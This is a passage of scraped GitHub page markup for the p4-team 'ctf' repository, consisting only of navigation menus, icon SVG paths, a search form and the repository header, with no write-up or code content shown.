3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="42933477" data-scoped-search-url="/p4-team/ctf/search" data-owner-scoped-search-url="/orgs/p4-team/search" data-unscoped-search-url="/search" data-turbo="false" action="/p4-team/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="1Jl5T3wPyXix3ie8Y4ZfC3ZOdo2LrVHc4ga0rpy/fGg2TRpJeAV+rl85hpVc8DaaIE3yeQYnuLWyZDbAOGBxzg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> p4-team </span> <span>/</span> ctf
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>272</span>
